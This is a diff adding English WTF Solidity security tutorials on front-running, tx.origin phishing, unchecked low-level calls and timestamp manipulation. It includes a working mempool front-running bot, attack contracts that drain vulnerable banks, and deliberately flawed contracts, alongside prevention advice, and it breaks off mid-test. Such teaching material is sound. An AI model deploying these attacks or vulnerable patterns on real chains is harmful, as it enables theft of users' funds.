@@ +// SPDX-License-Identifier: MIT +// By 0xAA +// english translation by 22X +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// We attempt to frontrun a Free mint transaction +contract FreeMint is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("Free Mint NFT", "FreeMint"){} + + // Mint function + function mint() external { + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} \ No newline at end of file diff --git a/Languages/en/S11_Frontrun_en/frontrun.js b/Languages/en/S11_Frontrun_en/frontrun.js new file mode 100644 index 000000000..71ebe673b --- /dev/null +++ b/Languages/en/S11_Frontrun_en/frontrun.js @@ -0,0 +1,83 @@ +// english translation by 22X + +// provider.on("pending", listener) +import { ethers, utils } from "ethers"; + +// 1. Create provider +var url = "http://127.0.0.1:8545"; +const provider = new ethers.providers.WebSocketProvider(url); +let network = provider.getNetwork(); +network.then(res => + console.log( + `[${new Date().toLocaleTimeString()}] Connected to chain ID ${res.chainId}`, + ), +); + +// 2. Create interface object for decoding transaction details. +const iface = new utils.Interface(["function mint() external"]); + +// 3. Create wallet for sending frontrun transactions. +const privateKey = + "0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a"; +const wallet = new ethers.Wallet(privateKey, provider); + +const main = async () => { + // 4. Listen for pending mint transactions, get transaction details, and decode them. + console.log("\n4. Listen for pending transactions, get txHash, and output transaction details."); + provider.on("pending", async txHash => { + if (txHash) { + // Get transaction details + let tx = await provider.getTransaction(txHash); + if (tx) { + // Filter pendingTx.data + if ( + tx.data.indexOf(iface.getSighash("mint")) !== -1 && + tx.from != wallet.address + ) { + // Print txHash + console.log( + `\n[${new Date().toLocaleTimeString()}] Listening to Pending transaction: ${txHash} \r`, + ); + + // Print decoded transaction details + let parsedTx = iface.parseTransaction(tx); + console.log("Decoded pending transaction details:"); + console.log(parsedTx); + // Decode input data + console.log("Raw transaction:"); + console.log(tx); + + // Build frontrun tx + const txFrontrun = { + to: tx.to, + value: tx.value, + maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2, + maxFeePerGas: tx.maxFeePerGas * 1.2, + gasLimit: tx.gasLimit * 2, + data: tx.data, + }; + // Send frontrun transaction + var txResponse = await wallet.sendTransaction(txFrontrun); + console.log(`Sending frontrun transaction`); + await txResponse.wait(); + console.log(`Frontrun transaction successful`); + } + } + } + }); + + provider._websocket.on("error", async () => { + console.log(`Unable to connect to ${ep.subdomain} retrying in 3s...`); + setTimeout(init, 3000); + }); + + provider._websocket.on("close", async code => { + console.log( + `Connection lost with code ${code}! Attempting reconnect in 3s...`, + ); + provider._websocket.terminate(); + setTimeout(init, 3000); + }); +}; + +main(); diff --git a/Languages/en/S11_Frontrun_en/img/S11-1.png b/Languages/en/S11_Frontrun_en/img/S11-1.png new file mode 100644 index 000000000..2fac0441c Binary files /dev/null and b/Languages/en/S11_Frontrun_en/img/S11-1.png differ diff --git a/Languages/en/S11_Frontrun_en/img/S11-2.png b/Languages/en/S11_Frontrun_en/img/S11-2.png new file mode 100644 index 000000000..f0c4c2b93 Binary files /dev/null and b/Languages/en/S11_Frontrun_en/img/S11-2.png differ diff --git a/Languages/en/S11_Frontrun_en/img/S11-3.png b/Languages/en/S11_Frontrun_en/img/S11-3.png new file mode 100644 index 000000000..a4e46633e Binary files /dev/null and b/Languages/en/S11_Frontrun_en/img/S11-3.png differ diff --git a/Languages/en/S11_Frontrun_en/img/S11-4.png b/Languages/en/S11_Frontrun_en/img/S11-4.png new file mode 100644 index 000000000..8314df0f5 Binary files /dev/null and b/Languages/en/S11_Frontrun_en/img/S11-4.png differ diff --git a/Languages/en/S11_Frontrun_en/package.json b/Languages/en/S11_Frontrun_en/package.json new file mode 100644 index 000000000..cdb1f7bdc --- /dev/null +++ b/Languages/en/S11_Frontrun_en/package.json @@ -0,0 +1,15 @@ +{ + "name": "ethers_examples", + "version": "1.0.0", + "description": "Minimal Tutorial to Ethers.js", + "type": "module", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "0xAA", + "license": "MIT", + "dependencies": { + "ethers": "^5.7.1", + "merkletreejs": "^0.2.32" + } +} diff --git a/Languages/en/S11_Frontrun_en/readme.md b/Languages/en/S11_Frontrun_en/readme.md new file mode 100644 index 000000000..2d85aeb51 --- /dev/null +++ b/Languages/en/S11_Frontrun_en/readme.md @@ -0,0 +1,181 @@ +--- +title: S11. Front-running +tags: + - solidity + - security + - erc721 +--- + +# WTF Solidity S11. Front-running + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce front-running in smart contracts. According to statistics, arbitrageurs on Ethereum have made $1.2 billion through sandwich attacks. + +## Front-running + +### Traditional Front-running +Front-running originated in traditional financial markets as a purely profit-driven competition. In financial markets, information asymmetry gave rise to financial intermediaries who could profit by being the first to know certain industry information and react to it. These attacks primarily occurred in stock market trading and early domain name registrations. + +In September 2021, Nate Chastain, the product lead of the NFT marketplace OpenSea, was found to profit by front-running the purchase of NFTs that would be featured on the OpenSea homepage. He used insider information to gain an unfair information advantage, buying the NFTs before they were showcased on the homepage and then selling them after they appeared. However, someone discovered this illegal activity by matching the timestamp of the NFT transactions with the problematic NFTs promoted on the OpenSea homepage, and Nate was taken to court. + +Another example of traditional front-running is insider trading in tokens before they are listed on well-known exchanges like [Binance](https://www.wsj.com/articles/crypto-might-have-an-insider-trading-problem-11653084398?mod=hp_lista_pos4) or [Coinbase](https://www.protocol.com/fintech/coinbase-crypto-insider-trading). Traders with insider information buy in advance, and when the listing announcement is made, the token price significantly increases, allowing the front-runners to sell for a profit. + +### On-chain Front-running + +On-chain front-running refers to searchers or miners inserting their own transactions ahead of others by increasing gas or using other methods to capture value. In blockchain, miners can profit by packaging, excluding, or reordering transactions in the blocks they generate, and MEV is the measure of this profit. + +Before a user's transaction is included in the Ethereum blockchain by miners, most transactions gather in the Mempool, where miners look for high-fee transactions to prioritize for block inclusion and maximize their profits. Generally, transactions with higher gas prices are more likely to be included. Additionally, some MEV bots search for profitable transactions in the Mempool. For example, a swap transaction with a high slippage setting in a decentralized exchange may be subject to a sandwich attack: an arbitrageur inserts a buy order before the transaction and a sell order after, profiting from it. This effectively inflates the market price. + +![](./img/S11-1.png) + +## Front-running in Practice + +If you learn front-running, you can consider yourself an entry-level crypto scientist. Next, let's practice front-running a transaction for minting an NFT. The tools we will use are: +- `Foundry`'s `anvil` tool to set up a local test chain. Please install [foundry](https://book.getfoundry.sh/getting-started/installation) in advance. +- `Remix` for deploying and minting the NFT contract. +- `etherjs` script to listen to the Mempool and perform front-running. + +**1. Start the Foundry Local Test Chain:** After installing `foundry`, enter `anvil --chain-id 1234 -b 10` in the command line to set up a local test chain with a chain ID of 1234 and a block produced every 10 seconds. Once set up, it will display the addresses and private keys of some test accounts, each with 10000 ETH. You can use them for testing. + +![](./img/S11-2.png) + +**2. Connect Remix to the Test Chain:** Open the deployment page in Remix, open the `Environment` dropdown menu in the top left corner, and select `Foundry Provider` to connect Remix to the test chain. + +![](./img/S11-3.png) + +**3. Deploy the NFT Contract:** Deploy a simple freemint NFT contract on Remix. It has a `mint()` function for free NFT minting. + +```solidity +// SPDX-License-Identifier: MIT +// By 0xAA +// english translation by 22X +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// We attempt to frontrun a Free mint transaction +contract FreeMint is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("Free Mint NFT", "FreeMint"){} + + // Mint function + function mint() external { + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} +``` + +**4. Deploy the ethers.js front-running script:** In simple terms, the `frontrun.js` script listens to pending transactions in the test chain's mempool, filters out transactions that call `mint()`, and then duplicates and increases the gas to front-run them. If you are not familiar with `ether.js`, you can read the [WTF Ethers](https://github.com/WTFAcademy/WTF-Ethers) tutorial. + +```js +// provider.on("pending", listener) +import { ethers, utils } from "ethers"; + +// 1. Create provider +var url = "http://127.0.0.1:8545"; +const provider = new ethers.providers.WebSocketProvider(url); +let network = provider.getNetwork(); +network.then(res => + console.log( + `[${new Date().toLocaleTimeString()}] Connected to chain ID ${res.chainId}`, + ), +); + +// 2. Create interface object for decoding transaction details. +const iface = new utils.Interface(["function mint() external"]); + +// 3. Create wallet for sending frontrun transactions. +const privateKey = + "0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a"; +const wallet = new ethers.Wallet(privateKey, provider); + +const main = async () => { + // 4. Listen for pending mint transactions, get transaction details, and decode them. + console.log("\n4. Listen for pending transactions, get txHash, and output transaction details."); + provider.on("pending", async txHash => { + if (txHash) { + // Get transaction details + let tx = await provider.getTransaction(txHash); + if (tx) { + // Filter pendingTx.data + if ( + tx.data.indexOf(iface.getSighash("mint")) !== -1 && + tx.from != wallet.address + ) { + // Print txHash + console.log( + `\n[${new Date().toLocaleTimeString()}] Listening to Pending transaction: ${txHash} \r`, + ); + + // Print decoded transaction details + let parsedTx = iface.parseTransaction(tx); + console.log("Decoded pending transaction details:"); + console.log(parsedTx); + // Decode input data + console.log("Raw transaction:"); + console.log(tx); + + // Build frontrun tx + const txFrontrun = { + to: tx.to, + value: tx.value, + maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2, + maxFeePerGas: tx.maxFeePerGas * 1.2, + gasLimit: tx.gasLimit * 2, + data: tx.data, + }; + // Send frontrun transaction + var txResponse = await wallet.sendTransaction(txFrontrun); + console.log(`Sending frontrun transaction`); + await txResponse.wait(); + console.log(`Frontrun transaction successful`); + } + } + } + }); + + provider._websocket.on("error", async () => { + console.log(`Unable to connect to ${ep.subdomain} retrying in 3s...`); + setTimeout(init, 3000); + }); + + provider._websocket.on("close", async code => { + console.log( + `Connection lost with code ${code}! Attempting reconnect in 3s...`, + ); + provider._websocket.terminate(); + setTimeout(init, 3000); + }); +}; + +main(); +``` + +**5. Call the `mint()` function:** Call the `mint()` function of the Freemint contract on the deployment page of Remix to mint an NFT. + +**6. Script detects and frontruns the transaction:** We can see in the terminal that the `frontrun.js` script successfully detects the transaction and frontruns it. If you call the `ownerOf()` function of the NFT contract to check the owner of `tokenId` 0, and it matches the wallet address in the frontrun script, it proves that the frontrun was successful!. +![](./img/S11-4.png) + +## How to Prevent + +Frontrunning is a common issue on Ethereum and other public blockchains. While we cannot eliminate it entirely, we can reduce the profitability of frontrunning by minimizing the importance of transaction order or time: + +- Use a commit-reveal scheme. +- Use dark pools, where user transactions bypass the public mempool and go directly to miners. Examples include flashbots and TaiChi. + +## Summary + +In this lesson, we introduced frontrunning on Ethereum, also known as a frontrun. This attack pattern, originating from the traditional finance industry, is easier to execute in blockchain because all transaction information is public. We performed a frontrun on a specific transaction: frontrunning a transaction to mint an NFT. When similar transactions are needed, it is best to support hidden mempools or implement measures such as batch auctions to limit frontrunning. Frontrunning is a common issue on Ethereum and other public blockchains, and while we cannot eliminate it entirely, we can reduce the profitability of frontrunning by minimizing the importance of transaction order or time. diff --git a/Languages/en/S12_TxOrigin_en/PhishingWithTxOrigin.sol b/Languages/en/S12_TxOrigin_en/PhishingWithTxOrigin.sol new file mode 100644 index 000000000..4af735145 --- /dev/null +++ b/Languages/en/S12_TxOrigin_en/PhishingWithTxOrigin.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.17; +contract Bank { + address public owner; // Records the owner of the contract + + // Assigns the value to the owner variable when the contract is created + constructor() payable { + owner = msg.sender; + } + + function transfer(address payable _to, uint _amount) public { + // Check the message origin !!! There may be phishing risks if the owner is induced to call this function! + require(tx.origin == owner, "Not owner"); + // Transfer ETH + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +} + +contract Attack { + // Beneficiary address + address payable public hacker; + // Bank contract address + Bank bank; + + constructor(Bank _bank) { + // Forces the conversion of the address type _bank to the Bank type + bank = Bank(_bank); + // Assigns the beneficiary address to the deployer's address + hacker = payable(msg.sender); + } + + function attack() public { + // Induces the owner of the Bank contract to call, transferring all the balance to the hacker's address + bank.transfer(hacker, address(bank).balance); + } +} \ No newline at end of file diff --git a/Languages/en/S12_TxOrigin_en/img/S12-2.jpg b/Languages/en/S12_TxOrigin_en/img/S12-2.jpg new file mode 100644 index 000000000..78e666c44 Binary files /dev/null and b/Languages/en/S12_TxOrigin_en/img/S12-2.jpg differ diff --git a/Languages/en/S12_TxOrigin_en/img/S12-3.jpg b/Languages/en/S12_TxOrigin_en/img/S12-3.jpg new file mode 100644 index 000000000..d5c3fb1e4 Binary files /dev/null and b/Languages/en/S12_TxOrigin_en/img/S12-3.jpg differ diff --git a/Languages/en/S12_TxOrigin_en/img/S12-4.jpg b/Languages/en/S12_TxOrigin_en/img/S12-4.jpg new file mode 100644 index 000000000..58909597c Binary files /dev/null and b/Languages/en/S12_TxOrigin_en/img/S12-4.jpg differ diff --git a/Languages/en/S12_TxOrigin_en/img/S12_1.jpg b/Languages/en/S12_TxOrigin_en/img/S12_1.jpg new file mode 100644 index 000000000..fcb7b7b59 Binary files /dev/null and b/Languages/en/S12_TxOrigin_en/img/S12_1.jpg differ diff --git a/Languages/en/S12_TxOrigin_en/readme.md b/Languages/en/S12_TxOrigin_en/readme.md new file mode 100644 index 000000000..700e82beb --- /dev/null +++ b/Languages/en/S12_TxOrigin_en/readme.md @@ -0,0 +1,141 @@ +--- +title: S12. tx.origin Phishing Attack +tags: + - solidity + - security + - tx.origin +--- + +# WTF Solidity S12. tx.origin Phishing Attack + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will discuss the `tx.origin` phishing attack and prevention methods in smart contracts. + +## `tx.origin` Phishing Attack + +When I was in middle school, I loved playing games. However, the game developers implemented an anti-addiction system that only allowed players who were over 18 years old, as verified by their ID card number, to play without restrictions. So, what did I do? I used my parent's ID card number to bypass the system and successfully circumvented the anti-addiction measures. This example is similar to the `tx.origin` phishing attack. + +In Solidity, `tx.origin` is used to obtain the original address that initiated the transaction. It is similar to `msg.sender`. Let's differentiate between them with an example. + +If User A calls Contract B, and then Contract B calls Contract C, from the perspective of Contract C, `msg.sender` is Contract B, and `tx.origin` is User A. If you are not familiar with the `call` mechanism, you can read [WTF Solidity 22: Call](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/22_Call_en/readme.md). + +![](./img/S12_1.jpg) + +Therefore, if a bank contract uses `tx.origin` for identity authentication, a hacker can deploy an attack contract and then induce the owner of the bank contract to call it. Even if `msg.sender` is the address of the attack contract, `tx.origin` will be the address of the bank contract owner, allowing the transfer to succeed. + +## Vulnerable Contract Example + +### Bank Contract + +Let's take a look at the bank contract. It is very simple and includes an `owner` state variable to record the contract owner. It has a constructor and a `public` function: + +- Constructor: Assigns a value to the `owner` variable when the contract is created. +- `transfer()`: This function takes two parameters, `_to` and `_amount`. It first checks `tx.origin == owner` and then transfers `_amount` ETH to `_to`. **Note: This function is vulnerable to phishing attacks!** + +```solidity +contract Bank { + address public owner; // Records the owner of the contract + + // Assigns the value to the owner variable when the contract is created + constructor() payable { + owner = msg.sender; + } + + function transfer(address payable _to, uint _amount) public { + // Check the message origin !!! There may be phishing risks if the owner is induced to call this function! + require(tx.origin == owner, "Not owner"); + // Transfer ETH + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +} +``` + +### Attack Contract + +Next is the attack contract, which has a simple attack logic. It constructs an `attack()` function to perform phishing and transfer the balance of the bank contract owner to the hacker. It has two state variables, `hacker` and `bank`, to record the hacker's address and the address of the bank contract to be attacked. + +It includes `2` functions: + +- Constructor: Initializes the `bank` contract address. +- `attack()`: The attack function that requires the `owner` address of the bank contract to call. When the `owner` calls the attack contract, the attack contract calls the `transfer()` function of the bank contract. After confirming `tx.origin == owner`, it transfers the entire balance from the bank contract to the hacker's address. + +```solidity +contract Attack { + // Beneficiary address + address payable public hacker; + // Bank contract address + Bank bank; + + constructor(Bank _bank) { + // Forces the conversion of the address type _bank to the Bank type + bank = Bank(_bank); + // Assigns the beneficiary address to the deployer's address + hacker = payable(msg.sender); + } + + function attack() public { + // Induces the owner of the Bank contract to call, transferring all the balance to the hacker's address + bank.transfer(hacker, address(bank).balance); + } +} +``` + +## Reproduce on `Remix` + +**1.** Set the `value` to 10ETH, then deploy the `Bank` contract, and the owner address `owner` is initialized as the deployed contract address. + +![](./img/S12-2.jpg) + +**2.** Switch to another wallet as the hacker wallet, fill in the address of the bank contract to be attacked, and then deploy the `Attack` contract. The hacker address `hacker` is initialized as the deployed contract address. + +![](./img/S12-3.jpg) + +**3.** Switch back to the `owner` address. At this point, we were induced to call the `attack()` function of the `Attack` contract. As a result, the balance of the `Bank` contract is emptied, and the hacker's address gains 10ETH. + +![](./img/S12-4.jpg) + +## Prevention Methods + +Currently, there are two main methods to prevent potential `tx.origin` phishing attacks. + +### 1. Use `msg.sender` instead of `tx.origin` + +`msg.sender` can obtain the address of the direct caller of the current contract. By verifying `msg.sender`, the entire calling process can be protected from external attack contracts. + +```solidity +function transfer(address payable _to, uint256 _amount) public { + require(msg.sender == owner, "Not owner"); + + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); +} +``` + +### 2. Verify `tx.origin == msg.sender` + +If you must use `tx.origin`, you can also verify that `tx.origin` is equal to `msg.sender`. This can prevent external contract calls from interfering with the current contract. However, the downside is that other contracts will not be able to call this function. + +```solidity + function transfer(address payable _to, uint _amount) public { + require(tx.origin == owner, "Not owner"); + require(tx.origin == msg.sender, "can't call by external contract"); + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +``` + +## Summary + +In this lesson, we discussed the `tx.origin` phishing attack in smart contracts. There are two methods to prevent it: using `msg.sender` instead of `tx.origin`, or checking `tx.origin == msg.sender`. It is recommended to use the first method, as the latter will reject all calls from other contracts. diff --git a/Languages/en/S13_UncheckedCall_en/UncheckedCall.sol b/Languages/en/S13_UncheckedCall_en/UncheckedCall.sol new file mode 100644 index 000000000..49f1a7cc9 --- /dev/null +++ b/Languages/en/S13_UncheckedCall_en/UncheckedCall.sol @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +// english translation by 22X +pragma solidity ^0.8.21; + +contract UncheckedBank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all ether from msg.sender + function withdraw() external { + // Get the balance + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + balanceOf[msg.sender] = 0; + // Unchecked low-level call + bool success = payable(msg.sender).send(balance); + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +contract Attack { + UncheckedBank public bank; // Bank contract address + + // Initialize the Bank contract address + constructor(UncheckedBank _bank) { + bank = _bank; + } + + // Callback function, transfer will fail + receive() external payable { + revert(); + } + + // Deposit function, set msg.value as the deposit amount + function deposit() external payable { + bank.deposit{value: msg.value}(); + } + + // Withdraw function, although the call is successful, the withdrawal actually fails + function withdraw() external payable { + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} diff --git a/Languages/en/S13_UncheckedCall_en/img/S13-1.png b/Languages/en/S13_UncheckedCall_en/img/S13-1.png new file mode 100644 index 000000000..853cc649c Binary files /dev/null and b/Languages/en/S13_UncheckedCall_en/img/S13-1.png differ diff --git a/Languages/en/S13_UncheckedCall_en/readme.md b/Languages/en/S13_UncheckedCall_en/readme.md new file mode 100644 index 000000000..e551d585e --- /dev/null +++ b/Languages/en/S13_UncheckedCall_en/readme.md @@ -0,0 +1,131 @@ +--- +title: S13. Unchecked Low-Level Calls +tags: + - solidity + - security + - transfer/send/call +--- + +# WTF Solidity S13. Unchecked Low-Level Calls + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss the unchecked low-level calls in smart contracts. Failed low-level calls will not cause the transaction to roll back. If the contract forgets to check its return value, serious problems will often occur. + +## Low-Level Calls + +Low-level calls in Ethereum include `call()`, `delegatecall()`, `staticcall()`, and `send()`. These functions are different from other functions in Solidity. When an exception occurs, they do not pass it to the upper layer, nor do they cause the transaction to revert; they only return a boolean value `false` to indicate that the call failed. Therefore, if the return value of the low-level function call is not checked, the code of the upper layer function will continue to run regardless of whether the low-level call fails or not. For more information about low-level calls, please read [WTF Solidity 20-23](https://github.com/AmazingAng/WTF-Solidity) + +Calling `send()` is the most error-prone: some contracts use `send()` to send `ETH`, but `send()` limits the gas to be less than 2300, otherwise it will fail. When the callback function of the target address is more complicated, the gas spent will be higher than 2300, which will cause `send()` to fail. If the return value is not checked in the upper layer function at this time, the transaction will continue to execute, and unexpected problems will occur. In 2016, there was a chain game called `King of Ether`, which caused the refund to fail to be sent normally due to this vulnerability (["autopsy" report](https://www.kingoftheether.com/postmortem.html)). + +![](./img/S13-1.png) + +## Vulnerable Contract Example + +### Bank Contract + +This contract is modified based on the bank contract in the `S01 Reentrancy Attack` tutorial. It contains `1` state variable `balanceOf` to record the Ethereum balance of all users; and contains `3` functions: +- `deposit()`: deposit function, deposit `ETH` into the bank contract, and update the user's balance. +- `withdraw()`: withdrawal function, transfer the caller's balance to it. The specific steps are the same as the story above: check the balance, update the balance, and transfer. **Note: This function does not check the return value of `send()`, the withdrawal fails but the balance will be cleared!** +- `getBalance()`: Get the `ETH` balance in the bank contract. + +```solidity +contract UncheckedBank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all ether from msg.sender + function withdraw() external { + // Get the balance + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + balanceOf[msg.sender] = 0; + // Unchecked low-level call + bool success = payable(msg.sender).send(balance); + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Attack Contract + +We constructed an attack contract, which depicts an unlucky depositor whose withdrawal failed but the bank balance was cleared: the `revert()` in the contract callback function `receive()` will roll back the transaction, so it cannot receive `ETH`; but the withdrawal function `withdraw()` can be called normally and clear the balance. + +```solidity +contract Attack { + UncheckedBank public bank; // Bank contract address + + // Initialize the Bank contract address + constructor(UncheckedBank _bank) { + bank = _bank; + } + + // Callback function, transfer will fail + receive() external payable { + revert(); + } + + // Deposit function, set msg.value as the deposit amount + function deposit() external payable { + bank.deposit{value: msg.value}(); + } + + // Withdraw function, although the call is successful, the withdrawal actually fails + function withdraw() external payable { + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `UncheckedBank` contract. + +2. Deploy the `Attack` contract, and fill in the `UncheckedBank` contract address in the constructor. + +3. Call the `deposit()` deposit function of the `Attack` contract to deposit `1 ETH`. + +4. Call the `withdraw()` withdrawal function of the `Attack` contract to withdraw, the call is successful. + +5. Call the `balanceOf()` function of the `UncheckedBank` contract and the `getBalance()` function of the `Attack` contract respectively. Although the previous call was successful and the depositor's balance was cleared, the withdrawal failed. + +## How to Prevent + +You can use the following methods to prevent the unchecked low-level call vulnerability: + +1. Check the return value of the low-level call. In the bank contract above, we can correct `withdraw()`: + ```solidity + bool success = payable(msg.sender).send(balance); + require(success, "Failed Sending ETH!") + ``` + +2. When transferring `ETH` in the contract, use `call()` and do reentrancy protection. + +3. Use the `Address` [library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol) of `OpenZeppelin`, which encapsulates the low-level call that checks the return value. + +## Summary + +We introduced the vulnerability of unchecked low-level calls and how to prevent. Ethereum's low-level calls (`call`, `delegatecall`, `staticcall`, `send`) will return a boolean value `false` when they fail, but they will not cause the entire transaction to revert. If the developer does not check it, an accident will occur. \ No newline at end of file diff --git a/Languages/en/S14_TimeManipulation_en/readme.md b/Languages/en/S14_TimeManipulation_en/readme.md new file mode 100644 index 000000000..c20126dae --- /dev/null +++ b/Languages/en/S14_TimeManipulation_en/readme.md @@ -0,0 +1,144 @@ +--- +title: S14. Block Timestamp Manipulation +tags: + - solidity + - security + - timestamp +--- + +# WTF Solidity S14. Block Timestamp Manipulation + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the block timestamp manipulation attack on smart contracts and reproduce it using Foundry. Before the merge, Ethereum miners can manipulate the block timestamp. If the pseudo-random number of the lottery contract depends on the block timestamp, it may be attacked. + +## Block Timestamp + +Block timestamp is a `uint64` value contained in the Ethereum block header, which represents the UTC timestamp (in seconds) when the block was created. Before the merge, Ethereum adjusts the block difficulty according to the computing power, so the block time is not fixed, and an average of 14.5s per block. Miners can manipulate the block timestamp; after the merge, it is changed to a fixed 12s per block, and the validator cannot manipulate the block timestamp. + +In Solidity, developers can get the current block timestamp through the global variable `block.timestamp`, which is of type `uint256`. + +## Vulnerable Contract Example + +This example is modified from the contract in [WTF Solidity S07. Bad Randomness](https://github.com/AmazingAng/WTF-Solidity/tree/main/32_Faucet). We changed the condition of the `mint()` minting function: it can only be successfully minted when the block timestamp can be divided by 170: + +```solidity +contract TimeManipulation is ERC721 { + uint256 totalSupply; + + // Constructor: Initialize the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: Only mint when the block timestamp is divisible by 170 + function luckyMint() external returns(bool success){ + if(block.timestamp % 170 == 0){ + _mint(msg.sender, totalSupply); // mint + totalSupply++; + success = true; + }else{ + success = false; + } + } +} +``` + +## Reproduce on Foundry + +Attackers only need to manipulate the block timestamp and set it to a number that can be divided by 170, and they can successfully mint NFTs. We choose Foundry to reproduce this attack because it provides cheatcode to modify the block timestamp. If you are not familiar with Foundry/cheatcode, you can read the [Foundry tutorial](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md) and [Foundry Book](https://book.getfoundry.sh/forge/cheatcodes). + +1. Create a `TimeManipulation` contract variable `nft`. +2. Create a wallet address `alice`. +3. Use the cheatcode `vm.warp()` to change the block timestamp to 169, which cannot be divided by 170, and the minting fails. +4. Use the cheatcode `vm.warp()` to change the block timestamp to 17000, which can be divided by 170, and the minting succeeds. + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.21; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/TimeManipulation.sol"; + +contract TimeManipulationTest is Test { + TimeManipulation public nft; + + // Computes address for a given private key + address alice = vm.addr(1); + + function setUp() public { + nft = new TimeManipulation(); + } + + // forge test -vv --match-test testMint + function testMint() public { + console.log("Condition 1: block.timestamp % 170 != 0"); + // Set block.timestamp to 169 + vm.warp(169); + console.log("block.timestamp: %s", block.timestamp); + // Sets all subsequent calls' msg.sender to be the input address + // until `stopPrank` is called + vm.startPrank(alice); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + + // Set block.timestamp to 17000 + console.log("Condition 2: block.timestamp % 170 == 0"); + vm.warp(17000); + console.log("block.timestamp: %s", block.timestamp); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + 